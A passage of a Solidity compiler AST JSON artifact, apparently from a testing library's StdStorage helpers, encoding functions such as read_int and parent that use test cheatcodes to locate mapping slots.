memory"}},{"components":[{"id":8447,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9410:6:8","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"},"typeName":{"id":8446,"name":"int256","nodeType":"ElementaryTypeName","src":"9410:6:8","typeDescriptions":{}}}],"id":8448,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"9409:8:8","typeDescriptions":{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_int256_$","typeString":"type(int256)"}],"expression":{"id":8441,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"9386:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":8442,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"9390:6:8","memberName":"decode","nodeType":"MemberAccess","src":"9386:10:8","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":8449,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9386:32:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"functionReturnParameters":8440,"id":8450,"nodeType":"Return","src":"9379:39:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"read_int","nameLocation":"9309:8:8","parameters":{"id":8437,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8436,"mutability":"mutable","name":"self","nameLocation":"9337:4:8","nodeType":"VariableDeclaration","scope":8452,"src":"9318:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8435,"nodeType":"UserDefinedTypeName","pathNode":{"id":8434,"name":"StdStorage","nameLocations":["9318:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9318:10:8"},"referencedDeclaration":7427,"src":"9318:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9317:25:8"},"returnParameters":{"id":8440,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8439,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8452,"src":"9361:6:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":8438,"name":"int256","nodeType":"ElementaryTypeName","src":"9361:6:8","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"9360:8:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8518,"nodeType":"FunctionDefinition","src":"9431:621:8","nodes":[],"body":{"id":8517,"nodeType":"Block","src":"9508:544:8","nodes":[],"statements":[{"assignments":[8463],"declarations":[{"constant":false,"id":8463,"mutability":"mutable","name":"who","nameLocation":"9526:3:8","nodeType":"VariableDeclaration","scope":8517,"src":"9518:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8462,"name":"address","nodeType":"ElementaryTypeName","src":"9518:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":8466,"initialValue":{"expression":{"id":8464,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9532:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8465,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9537:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"9532:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"9518:26:8"},{"assignments":[8468],"declarations":[{"constant":false,"id":8468,"mutability":"mutable","name":"field_depth","nameLocation":"9562:11:8","nodeType":"VariableDeclaration","scope":8517,"src":"9554:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8467,"name":"uint256","nodeType":"ElementaryTypeName","src":"9554:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8471,"initialValue":{"expression":{"id":8469,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9576:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8470,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9581:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"9576:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9554:33:8"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":8472,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"9597:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8474,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9600:21:8","memberName":"startMappingRecording","nodeType":"MemberAccess","referencedDeclaration":12661,"src":"9597:24:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":8475,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9597:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8476,"nodeType":"ExpressionStatement","src":"9597:26:8"},{"assignments":[8478],"declarations":[{"constant":false,"id":8478,"mutability":"mutable","name":"child","nameLocation":"9641:5:8","nodeType":"VariableDeclaration","scope":8517,"src":"9633:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8477,"name":"uint256","nodeType":"ElementaryTypeName","src":"9633:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8486,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8485,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":8480,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8455,"src":"9654:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8481,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"9660:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8479,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"9649:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8482,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9649:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8483,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"9666:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"9649:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":8484,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8468,"src":"9673:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"9649:35:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"9633:51:8"},{"assignments":[8488,8490,8492],"declarations":[{"constant":false,"id":8488,"mutability":"mutable","name":"found","nameLocation":"9700:5:8","nodeType":"VariableDeclaration","scope":8517,"src":"9695:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8487,"name":"bool","nodeType":"ElementaryTypeName","src":"9695:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":8490,"mutability":"mutable","name":"key","nameLocation":"9715:3:8","nodeType":"VariableDeclaration","scope":8517,"src":"9707:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8489,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9707:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":8492,"mutability":"mutable","name":"parent_slot","nameLocation":"9728:11:8","nodeType":"VariableDeclaration","scope":8517,"src":"9720:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8491,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9720:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8501,"initialValue":{"arguments":[{"id":8495,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8463,"src":"9771:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8498,"name":"child","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8478,"src":"9784:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8497,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"9776:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8496,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9776:7:8","typeDescriptions":{}}},"id":8499,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9776:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8493,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"9743:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8494,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"9746:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"9743:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8500,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9743:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"nodeType":"VariableDeclarationStatement","src":"9694:97:8"},{"condition":{"id":8503,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"9805:6:8","subExpression":{"id":8502,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8488,"src":"9806:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8509,"nodeType":"IfStatement","src":"9801:201:8","trueBody":{"id":8508,"nodeType":"Block","src":"9813:189:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f742066696e6420706172656e742e204d616b65207375726520796f752067697665206120736c6f7420616e642073746172744d617070696e675265636f7264696e67282920686173206265656e2063616c6c65642e","id":8505,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"9851:126:8","typeDescriptions":{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""},"value":"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_05c02dd7643b4a3b621a87327400688a0e915a721e1557091f0636a8183236ef","typeString":"literal_string \"stdStorage read_bool(StdStorage): Cannot find parent. Make sure you give a slot and startMappingRecording() has been called.\""}],"id":8504,"name":"revert","nodeType":"Identifier","overloadedDeclarations":[-19,-19],"referencedDeclaration":-19,"src":"9827:6:8","typeDescriptions":{"typeIdentifier":"t_function_revert_pure$_t_string_memory_ptr_$returns$__$","typeString":"function (string memory) pure"}},"id":8506,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"9827:164:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8507,"nodeType":"ExpressionStatement","src":"9827:164:8"}]}},{"expression":{"components":[{"arguments":[{"id":8512,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8492,"src":"10027:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":8511,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10019:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8510,"name":"uint256","nodeType":"ElementaryTypeName","src":"10019:7:8","typeDescriptions":{}}},"id":8513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10019:20:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":8514,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8490,"src":"10041:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8515,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"10018:27:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_uint256_$_t_bytes32_$","typeString":"tuple(uint256,bytes32)"}},"functionReturnParameters":8461,"id":8516,"nodeType":"Return","src":"10011:34:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"parent","nameLocation":"9440:6:8","parameters":{"id":8456,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8455,"mutability":"mutable","name":"self","nameLocation":"9466:4:8","nodeType":"VariableDeclaration","scope":8518,"src":"9447:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8454,"nodeType":"UserDefinedTypeName","pathNode":{"id":8453,"name":"StdStorage","nameLocations":["9447:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"9447:10:8"},"referencedDeclaration":7427,"src":"9447:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"9446:25:8"},"returnParameters":{"id":8461,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8458,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8518,"src":"9490:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8457,"name":"uint256","nodeType":"ElementaryTypeName","src":"9490:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":8460,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8518,"src":"9499:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8459,"name":"bytes32","nodeType":"ElementaryTypeName","src":"9499:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"9489:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8607,"nodeType":"FunctionDefinition","src":"10058:813:8","nodes":[],"body":{"id":8606,"nodeType":"Block","src":"10124:747:8","nodes":[],"statements":[{"assignments":[8527],"declarations":[{"constant":false,"id":8527,"mutability":"mutable","name":"who","nameLocation":"10142:3:8","nodeType":"VariableDeclaration","scope":8606,"src":"10134:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8526,"name":"address","nodeType":"ElementaryTypeName","src":"10134:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":8530,"initialValue":{"expression":{"id":8528,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10148:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8529,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10153:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"10148:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"10134:26:8"},{"assignments":[8532],"declarations":[{"constant":false,"id":8532,"mutability":"mutable","name":"field_depth","nameLocation":"10178:11:8","nodeType":"VariableDeclaration","scope":8606,"src":"10170:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8531,"name":"uint256","nodeType":"ElementaryTypeName","src":"10170:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8535,"initialValue":{"expression":{"id":8533,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10192:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8534,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10197:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"10192:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10170:33:8"},{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":8536,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10213:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8538,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10216:21:8","memberName":"startMappingRecording","nodeType":"MemberAccess","referencedDeclaration":12661,"src":"10213:24:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":8539,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10213:26:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8540,"nodeType":"ExpressionStatement","src":"10213:26:8"},{"assignments":[8542],"declarations":[{"constant":false,"id":8542,"mutability":"mutable","name":"child","nameLocation":"10257:5:8","nodeType":"VariableDeclaration","scope":8606,"src":"10249:13:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8541,"name":"uint256","nodeType":"ElementaryTypeName","src":"10249:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":8550,"initialValue":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":8549,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"arguments":[{"id":8544,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8521,"src":"10270:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":8545,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"10276:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":8543,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"10265:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":8546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10265:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"id":8547,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"10282:4:8","memberName":"slot","nodeType":"MemberAccess","referencedDeclaration":7395,"src":"10265:21:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"id":8548,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8532,"src":"10289:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"10265:35:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"10249:51:8"},{"assignments":[8552],"declarations":[{"constant":false,"id":8552,"mutability":"mutable","name":"found","nameLocation":"10315:5:8","nodeType":"VariableDeclaration","scope":8606,"src":"10310:10:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":8551,"name":"bool","nodeType":"ElementaryTypeName","src":"10310:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"id":8553,"nodeType":"VariableDeclarationStatement","src":"10310:10:8"},{"assignments":[8555],"declarations":[{"constant":false,"id":8555,"mutability":"mutable","name":"root_slot","nameLocation":"10338:9:8","nodeType":"VariableDeclaration","scope":8606,"src":"10330:17:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8554,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10330:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8556,"nodeType":"VariableDeclarationStatement","src":"10330:17:8"},{"assignments":[8558],"declarations":[{"constant":false,"id":8558,"mutability":"mutable","name":"parent_slot","nameLocation":"10365:11:8","nodeType":"VariableDeclaration","scope":8606,"src":"10357:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":8557,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10357:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":8559,"nodeType":"VariableDeclarationStatement","src":"10357:19:8"},{"expression":{"id":8571,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"id":8560,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10387:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},null,{"id":8561,"name":"parent_slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8558,"src":"10395:11:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"id":8562,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"10386:21:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$__$_t_bytes32_$","typeString":"tuple(bool,,bytes32)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8565,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8527,"src":"10438:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":8568,"name":"child","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8542,"src":"10451:5:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8567,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"10443:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8566,"name":"bytes32","nodeType":"ElementaryTypeName","src":"10443:7:8","typeDescriptions":{}}},"id":8569,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10443:14:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":8563,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"10410:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":8564,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"10413:24:8","memberName":"getMappingKeyAndParentOf","nodeType":"MemberAccess","referencedDeclaration":12557,"src":"10410:27:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$returns$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"function (address,bytes32) external returns (bool,bytes32,bytes32)"}},"id":8570,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"10410:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes32_$_t_bytes32_$","typeString":"tuple(bool,bytes32,bytes32)"}},"src":"10386:72:8","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8572,"nodeType":"ExpressionStatement","src":"10386:72:8"},{"condition":{"id":8574,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"!","prefix":true,"src":"10472:6:8","subExpression":{"id":8573,"name":"found","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8552,"src":"10473:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":8580,"nodeType":"IfStatement","src":"10468:201:8","trueBody":{"id":8579,"nodeType":"Block","src":"10480:189:8","statements":[{"expression":{"arguments":[{"hexValue":"73746453746f7261676520726561645f626f6f6c2853746453746f72616765293a2043616e6e6f742066696e6420706172656e742e204d616b65207375726520796f752067697665206120736c6f7420616e642073746172744d617070696e675265636f7264696e67282920686173206265656e2063616c6c65642e","id":8576,"isConstant":false,"i